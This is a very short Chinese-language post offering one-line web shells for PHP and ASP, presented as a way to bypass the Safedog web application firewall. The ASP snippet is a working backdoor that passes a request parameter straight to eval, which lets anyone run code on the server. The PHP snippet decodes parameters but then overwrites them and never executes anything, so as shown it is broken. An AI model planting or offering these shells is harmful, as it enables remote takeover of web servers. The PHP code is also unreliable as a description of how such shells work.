PHP、ASP过安全狗一句话

php:

<?php
  $a = $_GET['a'];
  $b = $_GET['b'];
  $c = base64_decode($a).base64_decode($b);
  $c = $_REQUEST['cmd'];
?>

asp:

<% 
dim x1,x2 
x1 = request("pass") 
x2 = x1 
eval x2 
%>